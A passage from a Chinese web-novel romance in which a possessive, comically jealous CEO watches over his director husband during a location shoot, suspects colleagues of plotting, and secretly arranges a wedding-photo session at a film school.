贺朝觉紧紧跟着裴澈到厨房，抢过装热水壶的活。
壶里接满水，放在底座上，按下开关。
水壶开始咕噜咕噜，贺朝觉短暂思考片刻。
突然对着裴澈甩了甩手，神情相当刻意：“好重，手酸了。”
陈述语气配合正经严肃的脸……
裴澈：“……回去让钟医生给你按按。”
贺朝觉：“……”
见男人一副遭受打击的样子，裴澈唇角微翘：“那一会我来灌热水袋？”
这怎么行！贺朝觉眼睛一瞪，阿澈烫着了怎么办！
这回贺朝觉干活很麻利，老老实实灌完，没再叫苦叫累。
抱着老婆塞给他的热水袋，跟在一边，垂着脑袋蔫答答的。
委委屈屈.jpg
裴澈感觉有点好笑。
“抱好了，这下不冷了吧。”
清冷的青年不轻不淡地睨去一眼，墨色的眸子里勾出几分若有若无的笑意。
贺朝觉瞬间抖擞：“不冷了！”
嘿嘿，美滋滋，老婆关心他了！
借宿在村民家里，简易的木板床上没有床垫，特意给裴澈多垫了几床被子在下面。大小倒是合适，加上一个身形高大的贺朝觉应该也不至于太挤。
裴澈抿起愉快笑意，对着贺朝觉作出邀请手势：“豌豆公主，要试试你的褥子吗？”
青年微微躬身朝向自己，伸手过来，柔和的灯光镀在他脸上，连绒毛都看得清楚。眉眼微弯，瞬间化解了周身的清冷。
贺朝觉的心脏不由得砰砰跳动起来，这么鲜活，这么促狭，这么……私密。
豌豆公主硬邦邦地躺在床上，生疏地搂着裴澈。
褥子挺好，可以睡，但自己怀里这颗大豌豆，温温软软的却让人彻夜难眠。
明明在家的时候，也已经在一起睡了段时间了，怎么今天……
贺朝觉克制不住地思绪浮动，甚至闪过一些零碎的画面。
“！！！”
这样下去不行！贺朝觉决定默念【清冷美人就应该在下面】传授的人设秘诀，清醒一下。
……
第二天一早，果不其然又顶上了黑眼圈。
贺朝觉恹恹地操作咖啡机。
裴澈已经洗漱好。剧组早起赶日出时分的景，三四点钟就得起床，他早就习惯了。
接过贺朝觉递来的咖啡，裴澈调侃：“今天手不酸了？”
贺朝觉：“……”
绿茶人设，大失败！
*
虽然被叮嘱再睡个回笼觉，开工没多久，贺朝觉还是准时出现在片场角落，和等戏的易帆和助理小陶打过招呼，表情淡漠地坐到小马扎上。
易帆一直有点怵贺总，在一边埋头看剧本，气都不敢出一下。
贺朝觉坐下来就直直盯着片场中央看，眼里只剩下裴澈的身影。
老婆在讲戏，好可爱。
老婆在调度镜头，好可爱。
老婆在看监视器，好可爱。
而且从这个视角看去，整个剧组乱中有序，像是看似纷乱的蜂群。灯光、镜头、演员，如同一只只被无形之手控制的蜂，在裴澈调控下井井有条地起舞。
不愧是他！贺朝觉目光深沉中带上抹不去的赞赏和自豪。之前桀骜不驯的剧组，还不是被他制得服服帖帖！
贺朝觉欻地举起手机，抓拍了一张裴澈的照片。
然后偷偷摸摸地点开某博。
【#全网寻找的清冷美人他是我老婆[酷][酷][酷] [图片][图片]】
设为“仅自己可见”，发送！
莫名觉得周围的气氛开了很多小花花？易帆疑惑抬头，只看见冰冷的秋天和冰冷的贺总。
呜……
一边的助理小陶把一切收入眼底，隔了一会，手机震动传来某博的提示音，他淡定地拿起手机。
群聊【不准觊觎我老婆】
我真该死啊：【绿茶人设没用[挎着个小酷脸]】
群主飞快出现。
清冷美人就应该在下面：【啊？怎么回事？】
我真该死啊：【老婆叫我豌豆公主，虽然公主和小王子也很配，但是……[挎着个小酷脸]】
清冷美人就应该在下面：【靠这句话好苏啊介意我拿来用一下吗[羞涩]】
我真该死啊：【……别想你的文了。我老婆不吃这套！！！】
小陶动动手指，一个潜水的群友冒出水面。
今天也在吃老板的糖瓜：【试过另外一半了吗？[狗头]】
我真该死啊：【……还没。】<
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还没有机会。贺朝觉皱起眉头，四处看了一下，低头问道：【而且这个人设不是很清楚，什么叫又乖又甜又凶？】
今天也在吃老板的糖瓜：【就是主动出击，护卫在他身边，把潜在的威胁都赶跑。】
清冷美人就应该在下面：【？？？】
清冷美人就应该在下面：【好像也没有哪里不对？但是不是少了什么啊喂！】
贺朝觉没看见群主的最新消息，已经关掉屏幕砰地站了起来。
太有道理了，要去他身边保护他，让他感觉到安全感。
*
姜雅歌刚和男主演秦峻过了一条戏，跟在裴澈边上听复盘。
“你看这里的处理就比上一条好，原因是……”
姜雅歌星星眼点头，一边“谢谢老板”，一边头快凑到监视器上去了，再这么下去，快和裴澈头碰头了！
贺朝觉一过来，就看见这个场景。
这怎么行？！
宛如一阵风席卷而过，下一秒，姜雅歌震惊地发现眼前的裴导不见了。
确切地说，挡在自己面前的男人把裴导挡了个严严实实。
姜雅歌抬头看去，就看见一张凶神恶煞熟悉的脸。
“呃，贺总？”
贺总眼睛一瞪，对她狠狠眦了龇牙。
他记得这人，居然还是熟人，橘子娱乐塞进来的黑料女星。无事献殷勤，非奸即盗！
姜雅歌：“？？？”
裴澈讲到一半，黑云压顶，视线被贺朝觉坚实的后背遮了个严实。
那边的姜雅歌打了声招呼就噎住了似的。
……什么情况。
裴澈不得已，伸手戳贺朝觉的腰，小声问：“怎么了？”
贺朝觉警告地对姜雅歌又眦眦牙，转身弯腰，小小声回答：“她要害你。”
裴澈越过贺朝觉头顶，和满脸问号的姜雅歌对视一眼，哭笑不得：“她能害我什么？”
贺朝觉目光警惕，声音更小了：“和你拍亲密照片，流出去诬陷你。”
裴澈：“？？？”
状似思考片刻，又看了眼犹如天堑鸿沟划在自己和姜雅歌中间的男人：“……”
良久，他终于缓缓吐出一口气，认真回答：“雅歌现在签了合同，不是橙子娱乐的人了。”
贺朝觉……贺朝觉欲言又止，忧心忡忡地看向裴澈。
他太善良了。
合同这种东西，自己就可以想出百十种办法去规避。
那天看见橘子娱乐的什么什么总，一看就不是好东西。
要不是自己恰巧冲过来，想起这件事，裴澈不知道要被诓骗成什么样。
没再多说，贺朝觉转身丢给姜雅歌一个威胁的眼神，阴恻恻道：“你最好不是。”
他面色阴沉地坐回场边小马扎，仍然直直盯着片场，这次的观察对象完全换了。
和副导演说话，可疑。
不和副导演交流，可疑。
不停NG，可疑。
一条就过，可疑。
身边的易帆不看剧本了，偷偷和助理小陶咬耳朵：“贺总这是怎么了？”
“哦，”她轻描淡写地瞅了一眼，又淡定地看看老板那边，随手划拉两下手机屏幕，“没事，小孩不需要知道这么多。”
22.第 22 章
贺朝觉的“监视”才刚刚开始。接下来两天，他除了往返市中心参加商业活动，基本就扎在山里，时不时冷冷地盯一眼姜雅歌。
“小帆，”姜雅歌鬼鬼祟祟地压低声音，四处张望了一下，“你有没有觉得后背发凉啊？”
“啊？”
易帆坐在凳子上正在吃蜜瓜，迷茫地抬眼，费劲咽下嘴里那口。
没有吧，就是脸被风刮着有点冷。
他老老实实地摇头：“没有欸。雅歌姐你冷吗？要不让小陶姐给你拿条毯子？”
姜雅歌怜爱地拍拍他的肩膀，顺手牵了两块蜜瓜。
嗯，真甜！
她压低墨镜，双手抱臂打了个寒噤。一会还是找小陶要个毯子吧，山里可真冷啊！
不远处的道具车后，贺朝觉长身而立，眼神阴冷。
姜雅歌可能意识到了什么，这两天都谨小慎微，除了看剧本就是对台词，对裴澈也很恭敬，表现得像一个正常演员。
现在露出马脚了吧！贺朝觉冷哼一声，目光愈发冰冷。她接近裴澈不成，居然来套那谁的近乎！
那谁可是裴澈收入麾下的第一个新人演员，是他以后的班底。
贺朝觉恨铁不成钢地瞪易帆。不争气，居然被敌人的糖衣炮弹诱惑了！
“在干嘛呢？”
熟悉的声音突然在背后响起，贺朝觉一激灵，转过身去。
裴澈微微皱眉：“找你半天了。”
贺朝觉欲言又止。
留在你身边就不能保护你，为了保护你，我必须暂时离开你，盯好那个祸害！
他一时甜蜜又痛苦，下意识朝姜雅歌的方向又看了一眼。
裴澈顺着贺朝觉的目光看去，就看见姜雅歌和易帆说说笑笑地吃蜜瓜。
裴澈：“？？？”
“你也想吃蜜瓜了？”
……
老婆缺少警惕心的样子，真是可爱又让人担忧。
裴澈勾了两笔分镜，无语地抬头看去。
桌对面的贺朝觉嗞溜把头埋进蜜瓜里，两只眼睛直直觑着他。
裴澈调侃：“你这是吃蜜瓜，还是吃我？”
“吃你。”贺朝觉大脑停摆，嘴巴一秃噜，大逆不道的话脱口而出。
裴澈：“……”
还没怎么着，他先脸色刷地一白：“我说错了！”猛猛低头对着瓜一顿啃，“吃蜜瓜，吃蜜瓜！”
两口啃完火速拎着瓜皮走了：“我去扔垃圾洗手。”
留下还没反应过来的裴澈，看着贺朝觉狼狈逃跑的背影，缓慢地眨了眨眼。
……就和被人踢了一脚的小狗似的。
他垂眸，看了眼画好的分镜，唇边笑意加深，轻声自语：“瞎话倒是会说……”
晚上，裴澈洗漱完，招呼贺朝觉睡觉。
男人认真应下，却没有马上来。
只见他面色凝重地将屋门锁上，转身重重走了两步，又轻手轻脚闪回去，盯着锁缝上下左右看了一圈。
裴澈：“……”
只好无语地先躺下，看他搁那演谍战。
等回到床边，贺朝觉洗完热乎的手脚就都凉了。
裴澈不轻不重踢了他一下，嫌弃道：“冰。”
贺朝觉委委屈屈爬上床，像只大型犬缩在外面的角落里，手脚朝外侧躺着。
裴澈又戳他：“干嘛背对我？”
手脚冰，不能冻着老婆了，贺朝觉用鼻音哼唧了一声：“我要看门。”
“什么？”声音低低的含在嘴里，裴澈没听清，凑近问道。
温热的身躯靠近过来，贺朝觉虎视眈眈地朝着门的方向看去，重复道：“我要看门！”
裴澈哭笑不得，把他扒拉过来抱住：“都是自己人！再说了，这锁剧组换过，很结实！”
贺朝觉僵硬地感受着裴澈的体温，努力把手脚蜷起来。
确实怪冰的，裴澈拉起贺朝觉的手放到自己小腹上，要给他暖暖。
贺朝觉一惊，使劲挣扎起来，这怎么行！裴澈的肚子，根本不能受凉！
“歘——”的一声，被子被蹬到了地上。
裴澈：“……”
贺朝觉：“……”
裴澈面无表情地道：“好了，这下都不用暖了。”
*
第二天一早，剧组来了个新人，是个热闹喜庆的小姑娘。
贺朝觉回来给裴澈送午饭的时候，老远就看见这个陌生面孔，一把拉住路过的易帆。
“那是谁？”
男人表情冰冷，朝那边抬了抬下巴。
易帆挠挠头：“哦……是雅歌姐的助理。裴导说老麻烦小陶姐也不合适，就把她之前在橙子娱乐的助理一块转过来了，手续晚了两天，今天才到。”
什么？橘子娱乐？
贺朝觉瞬间如临大敌。
现在的间谍接头，都这么明目张胆了！
安笙被按坐在椅子里，伸手接过姜雅歌给她递的果汁，狠狠喝了一大口，嘻嘻笑道：“这就叫倒反天罡！”
姜雅歌佯作伏低做小的样子，象征性锤了两下背，也笑得明媚：“安大小姐，给您服侍得还好吗？”
全然不见平日张扬火爆的模样。
两人在橙子娱乐苟了多年，都对老东家深恶痛绝，彼此之间早就处成了好姐妹，要不然姜雅歌也不会求裴导把她的合同转过来。
一边观察的贺朝觉大为震惊。
光天化日之下，她们竟然这么直接。再看周围的剧组人员，没有一人对这个演员巴结助理的场景提出质疑。
他的目光骤然深沉，裴澈的剧组，怕是早就漏得和筛子一样了！
两人笑闹几句，开始压低声音交头接耳。
贺朝觉不动声色地走到后面偷听。
声音很小，近乎窃窃私语。贺朝觉听了半天，就听见“橙子娱乐”、“合同”、“锦云生花”之类的关键词。
《锦云生花》？他知道，这是照葫芦画瓢和裴澈打擂台的剧组。
橘子娱乐的阴谋里还掺和进了他们？
贺朝觉额头青筋逐渐爆起，不敢想象如果不是自己的意外发现，这场飓
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风会把裴澈卷向何方。
他面色黑沉，提腿欲走。
就在这时，突然一个耳熟的名字闯进他的耳朵——
“唉，听说谢以寒影帝要来客串一个特邀，真的假的？他也参与这次外景吗？”
他勉强听到，谢以寒……参与……
贺朝觉：“？？？”
就知道这狗东西没安好心！原来上次找裴澈骗的投资，都投给他对手了！
*
“橙子娱乐还没动静？”
裴澈整理着场次记录，一边轻描淡写地问。
小陶摇摇头：“暂时没有回应，也没有提出沟通需求。不过，”她递出一份统计图表，“之前的热搜话题本来已经退下去，那个博主确实是素人，但最近又接连出现异常水贴，有人背后造势想再把热度推上来。”
裴澈接过文件，手指勾过几个账号：“这几个营销号很眼熟，背后和橙子娱乐联系不浅。”
“不错，”小陶点头，“剩下这些经调查，也和橙子娱乐存在金钱往来。”
裴澈唇角微弯，指尖不急不缓地敲着桌面：“看来是掌握了我的大黑料啊。”
他招招手，轻声对小陶吩咐了几句：“……就这些吧，安排下去。”
“叩叩叩——”突然响起的敲门声打断了两人。
裴澈抬头，看见贺朝觉站在门口，神情有些急躁。
这是怎么了？
小陶见状，识趣地起身离开。路过贺朝觉时，微微侧头对他露出一个意味深长的笑容。
贺朝觉：“？？？”
不过他心里装着更大的事，三步并作两步走到裴澈面前，开门见山：“你最近见到谢以寒了吗？”
裴澈微微一愣，随即惊奇地抬头看他：“你知道他要来？”
贺朝觉：“……他要来？”
该死，他要来？他怎么突然要来？上次骗钱，这次又要做什么？
“怎么额头上都是汗？”裴澈抽了张纸巾给他擦，一边道，“哦对，谢以寒明天就到，本来想明晚约个饭的——”
贺朝觉瞬间盯住裴澈，目光急切。约不成了？好！
“不过你不是要去酒会嘛，就只能我和谢以寒两个人了。”
贺朝觉：“？？？”
“不能吃！”贺朝觉猛地凑到裴澈面前，眼神急切，“不能和他吃饭！他小子没安好心！”
裴澈眉头一拧，眼神微眯：“贺总现在越发威风了。”
就说之前他们碰面气氛怎么那么怪，贺朝觉不会吃起谢以寒的飞醋了吧。
哭笑不得，捧起他的脸就是一通揉：“怎么，干嘛不让我和谢以寒吃饭？我和他又没什么。”
贺朝觉：“唔唔唔唔唔唔唔唔——”
是他想对你做什么！
裴澈终于好心情地放下手，斜斜睨他一眼：“说吧，什么事？不说点正事，我就继续。”
贺朝觉张嘴又闭上，半晌：“你明晚不能和谢以寒吃饭！”
裴澈眉头一挑，贺朝觉急急道：“因为你要和我去参加酒会！”
23.第 23 章
“因为你要和我去参加酒会！
“……可以吗？”
扔下这句话，贺朝觉破罐子破摔地闭上眼睛，不敢看裴澈的反应。
三年前那场酒会，正是裴澈落入陷阱魔窟的开始。后来那个“贺朝觉”偶尔也会带他出席类似场合，作为一个名声不正的金丝雀，裴澈受到的奚落屈辱可想而知！
贺朝觉越是闭上眼睛，越是无法抑制地胡思乱想。
裴澈会怎么回应？他会僵住吗？还是平静地答应一句“都听你的安排”？
不管是哪种反应，都会是一次冷酷的推拒，将他和裴澈之间刚刚建立的那点脆弱信任狠狠撕碎！
空气中弥漫着一丝沉寂，贺朝觉脸色煞白，眼珠不安地抖动着，像是在等待某种即将降临的审判。
“砰！”一只手轻飘飘地落在他肩膀上，重量却仿若千钧。
贺朝觉微不可见地咽了口唾沫。
裴澈伸手扒拉掉贺朝觉肩膀上的落叶，顺便在他胸口一挑，挑剔地撇撇嘴：
“可以啊，只要你明天别戴这条可怕的丑领带。”
贺朝觉：“？？？”
他低头看去，青年骨节分明的手执着深紫色领带，柔软的面料绕在玉白修长的手指间。
“好看。”贺朝觉脱口而出。
裴澈没好气：“让你看搭配，没让你看我。”
贺朝觉皱眉努力看，深紫色领带配黑色西服，李特助不在他自己随便搭的，很丑吗？
裴澈一眼看穿男人的想法，拎起他的袖子，面无表情：“这个是墨绿色。”
贺朝觉：“……”
墨绿色？这不是黑色吗？哪里看出来绿的？
各种颜色在他懵圈的大脑里打转，差点没把他绕晕。最后关头，贺朝觉突然灵光一闪，不对，阿澈刚刚是不是说了什么？
低头发消息的裴澈蓦地感觉手腕一紧。
“？？？”
贺朝觉双目炯炯眼神晶亮，捧着他的手，满怀期待又不敢置信地看着他：
“阿澈，你是同意和我去参加酒会了吗？！”
*
老婆答应他了，老婆心里有他！
第二天一早，贺朝觉像一只斗胜的大公鸡，气势昂扬地在片场里走来走去。
连一大早赶来拍摄客串镜头的谢以寒都没有影响他的好心情。
“卡！好的过了！”
裴澈看着监视器，满意地摆摆手。谢以寒退到休息区域，早有准备的助理送上毯子和热饮。
悠闲地在一边欣赏秋景的贺总恰巧路过，状似不经意地问道：
“谢影帝晚上有什么安排啊？”
“啊？”谢以寒咕噜咽下一口热可可，皱眉思索，“不知道欸，蹭不到澈澈的饭，可能回酒店点外卖睡觉吧。”
贺朝觉意味深长地看他一眼，嘴角微翘——
渣男初恋已经是过去式了，现在阿澈心底自己更重要！
还没说话，谢以寒的手机突然滴了一声。
“老贺你等会啊！”他掏出手机瞅了一眼，神色变了。
匆匆打了几行字过去，抬头揉揉眉心：“这下不能回去睡觉了。”
老男人·贺总：？
“去哪？”他眼神瞬间锐利，阴恻恻地问道。语气十分危险，好像在说，你小子最好不要是我想的那个意思。
谢以寒裹裹毯子：“哈哈哈哈哈！我要和你们一起去酒会啦，惊不惊喜，意不意外！”
贺朝觉：“……”
萧瑟的秋风扫过枯叶，失去生命的残留物打着卷儿缓缓落下，迎接死亡的归途。
贺朝觉目光阴狠跟随，一等它落地，便上前一步，“咔”地一脚踩了粉身碎骨。
男人充满明示的眼神转向谢以寒，面色森寒：“敢动他，这就是你的——”
“以寒，你也去酒会？”裴澈接过一杯热饮，坐到谢以寒旁边，望向贺朝觉的眼神疑惑，“他的什么？”
贺朝觉拳头一松，脸上瞬间堆出笑容。
“没什么！就是闲聊。”他火速掏出自己的彩色塑料小板凳，“咔咔咔咔”一通掰好，挤进裴澈和谢以寒中间坐了下来。
看向中间矮了一截却莫名昂首挺胸的男人——
裴澈：“……”
谢以寒：“……”
贺朝觉没忘记裴澈的问题，
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转向面露疑惑的青年，用力把后面姓谢的挡住，大声蛐蛐：“聊他的穿搭风格不太行，丑得太可怕了！”
“？？？”
谢以寒低头，这搭配可怕吗，这搭配不挺好嘛？
裴澈咳嗽一声：“是说和你的发型不搭。”
哦，也是。他现在还顶着戏里的造型，那确实不太搭。
谢以寒心很大地忽略了这个话题，高高兴兴地凑头过去，提起酒会又开始哭丧着脸：“澈澈，跟你说我太惨了！”
贺朝觉面无表情插到中间，谢以寒又从另一边伸出头：“老头子晚上也在，天啦你知道吗，我妈特意发消息让我过去。”
老头子？贺朝觉警觉。这又是谁？
裴澈若有所思，谢以寒父亲也在？一个坚持不回家，一个硬是拉不下面子，他妈妈说合这么久早放弃两个犟种了，怎么会特意给谢以寒发消息。
“去吧，”他斩钉截铁地替好友定心，“我们和你一块。”
什么就一块了？
贺朝觉夹在两人中间，如遭雷击地看向裴澈。
青年微微蹙眉，若有所思。
谢以寒难道是抬了什么人出来威胁他？！
贺朝觉狠狠回头瞪了谢以寒一眼，站起来握住裴澈的手，声音温柔，深情款款：“阿澈，不要怕，我会和你一块的！”
两天半的外景拍摄，到今天中午就正式结束了。
裴澈难得笑着和每个人打招呼，大手一挥，表示下午放假，明天统一回去。
因为晚上到不了，中午订了在市中心的酒店聚餐。
贺朝觉站在包厢门口给李特助打电话：“嗯酒会你看着安排，着装不用在意，你怎么知道裴先生要亲自给我选。”
李特助：“……”
说完贺朝觉没有挂电话，表情露出几分犹豫。
他看了眼包厢的门，突然听见谢以寒的声音，格外放松又自来熟。
贺朝觉瞬间牙关咬紧，面色一沉叮嘱道：“之前让你安排的事，提前到下午。”
挂断电话，他将手机在手上转了两下，心里有点忐忑。
阿澈会发觉吗？他要带他去重拍结婚照！
24.第 24 章
贺朝觉进包厢时，姜雅歌正对着裴澈举杯。
被欢快的气氛感染，向来明艳的女人眼角染上激昂的红色，带着几分江湖豪气：“裴导，我敬您！跟着您学到了很多！”
裴澈淡淡一笑，轻执杯子虚碰了一下：“做得不错，再接再厉。”
姜雅歌一饮而尽，裴澈也举杯将杯沿凑向唇边。
还没沾到嘴唇，贺朝觉一阵风似地刮了进来，气势汹汹地站到裴澈身旁。
他穿着剪裁精致的深灰西装，宽肩窄腰，流畅的衣料线条勾勒出挺拔身形。冷峻眉眼在灯光下微微泛着冷色，带着锐利的压迫感。
贺朝觉黑沉地盯了姜雅歌一会，又缓缓扫过桌上众人，微微一侧身，顺势掠走裴澈手中的杯子。
似乎觉得威势足够了，他冷哼一声：“裴导不胜酒力，这一杯我替他喝了。”
话音刚落，他仰头将杯中液体尽数饮下。
橙黄色的果汁倾斜流入他口中，喉结随之滚动。
喝完，贺朝觉薄唇微抿，眼神冰冷带着警告：
“我希望，这，是最后一杯。”
裴澈：“……”
他面无表情地递上一杯苹果汁：“我还不胜苹果力，这杯贺总也帮我喝了吧。”
贺朝觉：？
可恶，他们居心叵测，居然准备了这么多酸凉的饮品！
复杂的目光扫过裴澈小腹，贺朝觉狠狠接过苹果汁，一饮而尽。
于是……贺总又喝了一杯、两杯、三杯，结束时走路都感觉肚子里的混合果汁在晃。
“裴导再见！贺总再见！”
裴澈携着贺朝觉往外走时，男人脸还有点臭臭的。
“下午去哪？我可完全没安排。”裴澈笑着仰头亲了下他的侧脸，“劳烦贺总费心了。”
贺朝觉瞬间舒展，脸上带着点薄红，语气严肃：“秘密。”
*
和山里相比，市中心的秋意来得迟上一些。大学城外的这条街上，银杏树刚刚染上浅浅的金黄，阳光透过枝叶洒在地上，和微微闪亮的叶片交织一处。
街道两旁是学生们常光顾的小店，咖啡香气从开着的门口飘散出来，混着摊位上的烤红薯甜香，透着自在而温暖的生活气息。
“S影？”裴澈挑眉，这可是他没想到的约会地点。
S省电影学院，国内影视专业的top1学校。
贺朝觉有点忐忑，他知道，S影一直是裴澈的梦校，他会满意这个安排吗？
青年打量着眼前青春又热闹的场景，眉眼间流露出几分柔和。
“哎，但是今天好像穿得不够学生啊。”裴澈突然意识到什么，好笑地点点贺朝觉的衣服。
男人又换了一身西装，风格比中午聚餐那套更正式。精良剪裁完美收住腰线，利落不失优雅的肩部线条显得他整个人愈发挺拔。领间打着一个标准的温莎结，深蓝色的带上隐隐透出精致暗纹，带出几分低调的英伦绅士气息。
就连裴澈自己，也在他强烈要求下穿上了一套相配的白色西装，口袋方巾的蓝色遥相呼应。
穿这么正式，他还以为要去剧院呢。
听见裴澈的话，贺朝觉猛地一僵。
学生？他怎么没想到这一点？
少年气的裴澈，一定很意气风发。
裴澈难得起了兴致：“时间还早，要不去逛街？给老黄瓜刷两层绿漆？”
老黄瓜·贺朝觉脸红红跟着老婆兜了一圈，两人拎着衣服出门时，店员小姑娘还兴奋地祝他们长长久久。
对拍结婚照的日子来说，是一个特别应景的祝福。
而且，贺朝觉偷偷瞄裴澈，阿澈没有提出异议，他好像心情也很好？
两人牵着手走在校园里，温煦的阳光洒在身上，树叶哗啦啦响。
原本相貌就好，一个清冷昳丽，一个冷峻硬朗，气质非凡，还穿着相配的白色西装，深蓝色领带和对应色系的口袋巾把气氛拉满。
即使在S影这种到处是俊男美女的地方，一路上引来的注目也不少。
裴澈捏捏贺朝觉的手，轻笑道：“让你不换衣服吧。”
不知道为什么，明明买了更休闲学生气的衣服，贺朝觉坚持要一会再换。
等拍完室外西装，再拍一组室内校园。
嘿嘿，脑补着两人大学就在一起，在校园里分享青春的甜蜜画面，贺朝觉有点美滋滋。
不过，闲杂人等还是太多了。
贺朝觉扫过来来往往的人群，嘴角冷了几分。李特助怎么办的事，连包场都不知道！
独自留在酒店，正疯狂打电话的李特助打了个喷嚏。他对BOSS离谱的预期一无所知，正在和摄影协调时间。
“什么？！突然赶不过去？下午的事非常紧要！我们这边报酬可以翻倍，派车过去接你……”
这边，两人一路溜达过了大讲堂和图书馆。
裴澈的目光柔和而放松，阴差阳错在贺朝觉的安排下回到这个他从没真正到过的地方，有种命运回旋时空交错的微妙感。
“怎么想到选这里？”他浅笑着随口问道。
贺朝觉有点僵硬：“听说S影保留了很多皇家园林的古建，风景很不错，而且是和你的专业相符。”
“这样啊，确实相符，”裴澈点点头，“你不知道吧？我曾经差点就成了S影的学生。”
青年眸光清润，带着些感概扫过周围的人群，落回到贺朝觉身上。
“那时候真的拼了命地想要来，年纪还小，做了好多热血的事情。”
他本科在S大金融，但和谢以寒这个同样学金融的犟种在话剧社相遇后，人生轨迹就一路跑偏了。
回忆起两年达成金融系毕业要求，疯狂补作品集套磁S影老师，拿到保研录取通知的往事，裴澈不自觉弯了眉眼。
“当时谢以寒还劝我……”
贺朝觉的表情猛地龟裂了，怎么又是谢以寒！
他实在没忍住，冷冰冰地打断：“他要是有能力，根本不需要劝你。”
废物渣男谢以寒！
这段往事虽然没有亲历，每一个细节贺朝觉都清清楚楚。裴澈父亲重病，家里资金链断，谢以寒临阵退缩和裴澈分手。
他痛心疾首：“要不是他懦弱，你也不会落入……我手里！”
落入那个“贺朝觉”的魔爪。
“？？？”
裴澈忍了一下，笑着捶贺朝觉
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：“哪有人这么说自己的！
“谢以寒还是很靠谱的，那时候也是差点就乖乖回家继承家业了。而且……”裴澈慢悠悠歪头看身边的男人，眼神打趣。
要不是昏头答应和这个人闪婚，他可能就接受了好兄弟卖身救济吧。
贺朝觉冷哼一声：“差得多了！”
裴澈觑了他一下，终于反应过来，这家伙飞醋还没吃完？
他心里觉得好笑，清清嗓子，好整以暇道：“那确实差得多，哪比得上咱们贺总。”
贺朝觉一抖，不确定地拿眼神瞄裴澈。
裴澈捧住贺朝觉的脸，笑眯眯亲了下颌一口，揉着他的脸颊：“那后来不是幸好，捡到你这么个大宝贝了！”
……
大宝贝·贺朝觉圈着裴澈的手，心脏砰砰直跳。
他其实心里还有几分费解，裴澈对自己态度变化太快，对那段不堪的往事似乎也放下得彻底。
但是看着身侧青年轻松的笑颜，他又很希望，时光永远停留在此刻。
踩过“咯吱咯吱”响的落叶，两人相携着往南校区去，那里是园林建筑密集的区域，李特助安排的摄影也会在那里和他们汇合。
就在这时，后面突然传来追赶的声音，一个清脆的女声叫道：“等等！等一下！”
贺朝觉率先回头，不着痕迹地把裴澈护在身侧，皱起眉头朝来人看去。
穿着俏皮毛衣的女生弯下腰，上气不接下气地撑着腿：“你们走得太快了，可算赶上了！”
裴澈疑惑发问：“你有什么事吗？”
女生看了裴澈一眼，羞赧间带着几分得意，吐吐舌头扬起手里的相机：
“不好意思，刚刚你们在一起的氛围太好了，我忍不住抓拍了一组，可以加个联系方式吗？我把照片传给你们。”
“加我吧。”裴澈还没说话，贺朝觉一个箭步上前，亮出了自己的某信二维码。
女生略显失望地瞄了眼裴澈：“好吧。”
照片确实很不错，背景的的建筑虚焦，只能看见漫天满地澄黄的落叶。
在静谧的秋景里，青年仰头捧住男人的脸，白色西装与之交织一处，略显跳脱的动作带出促狭的亲密，打破了他周身清泠出尘的气质。
在他对面，眉眼冷峻的男人怔怔低头，神色间渴望又克制，眼神温柔得像是银杏叶隙洒下来的阳光，就那么深深地停留在青年脸上。
裴澈玉白的脸上染上几分薄红，夸赞道：“拍得真好！”
“嘻嘻，没事你们喜欢就好。”女生眼神亮晶晶，在登对的两人身上转了一圈，欲言又止。
要是主动说，想给他们再拍几组，会不会有点奇怪啊？
但是真的难得，碰到这么好的拍摄对象。
就在这时，贺朝觉也点点头，跟着夸了几句不错。
然后猝不及防转向女生，一改方才防备的态度，十分彬彬有礼：“同学，不知道你接下来有空吗？这组照片太出色了，我们是否可以请你帮忙再拍几组？”
他下巴微颔，又对李特助生出几分满意。
不错，让摄影借口接近的方式，完美打消阿澈的怀疑。
一边的裴澈：“？？？”
25.第 25 章
裴澈第一次发现爱人的脸皮还挺厚。
小姑娘叫林宛霖，是S影导演系的大三学生，今天本来只是在校园里取秋景，现在已经给他们拍了四组照片了。
“好啦！你们过来看一下呀！”
小姑娘挥挥手叫他们，高兴地转过取景屏给两人看：“这个角度光线很好，我多抓拍了两张，感觉后期不需要怎么修，氛围就很不错。”
三个人一路拍到南校区，这组照片是在湖中石舫上取景。碧水青天接连一色，秋意映在粼粼波光里，两人一坐一立，眼中俱是情意。
裴澈很喜欢，不过感觉拍得差不多了，不想太麻烦小姑娘。
他又夸了一句，打算提出一起吃个饭：“真好看，构图意境很美，光捕捉得也到位。我看时间也——”
“时间也还早，”贺朝觉蓦地插进来，“可以麻烦你再帮我们拍几组室内照片吗？”
裴澈：？
这家伙还真是毫不客气地安排上了。
说他不客气吧，语气简直是出院以来最礼貌。裴澈心里无奈又好笑。
干嘛呢？去教学楼的路上，他拼命给贺朝觉飞眼神。
贺朝觉紧紧抓着裴澈的手，一概没回应。
他心里喜滋滋又忍不住酸楚，老婆什么都不知道，但在自己心里，这就是结婚了。
阿澈和他，结婚。
……
“哇噻！好有少年感！”
小姑娘笑嘻嘻比了个赞。
裴澈帮贺朝觉理了理他的棒球外套，凑到耳边打趣道：“今天看起来像十七岁。”
“咔嚓——”
两人回过头，林宛霖从照相机后伸出手，得意地比了个OK：“太上相了，忍不住抓了一张。”
贺朝觉低头看裴澈，浅色衬衫松松掖在腰间，上面叠一件颜色温柔的羊毛马甲，青年额发细碎散落，仿佛真的回到了十七岁时，稚嫩鲜活，不曾受过磋磨。
他喉结微滚，赞同：“上相。”
*
结束时，贺朝觉收获了九组照片和两段小视频。
他终于满意地转向女生，眸色幽深——
差不多是时侯了。
小姑娘兴高采烈围在裴澈身边，没有接到暗示。
“这个浅景深特写切得很稳，基本功不错，”裴澈笑着评了一句，“麻烦你一下午了，一会一块吃个饭？”
以小见大，不管是照片光影构图还是视频镜头切换，都能看出来女生的功底。
不说帮忙拍照的人情，碰到好苗子，裴澈也有几分见猎心喜。
“这有点不好意思吧。”
林宛霖扭捏了一下，蓦地看见青年背后的男人神色不满朝自己看来。
“呃——”
她还没说话，手机叮咚一下，传来某信消息的提示音。
贺朝觉：【照片拍得不错，快想办法溜[红包]】
下意识点开，林宛霖差点没把手机吓掉。
1……1w？
她视线在两个人身上来回转了一下，灵机一动：“可惜，和我朋友有约了，而且单身狗也不好意思打扰你们二人世界呀！”
“溜啦溜啦，下次再来玩呀，很难找到你们这么好的模特的。”小姑娘挥挥手，一溜烟跑没了。
裴澈总觉得哪里不太对劲。
这转折是不是有点突兀？而且这就突突跑走了？就和后面有人撵她似的。
“你有没有觉得……”裴澈转过头，正看见贺朝觉全神贯注地盯着自己，半句“不对劲”瞬间卡住。
贺朝觉热切的表情转为紧张：
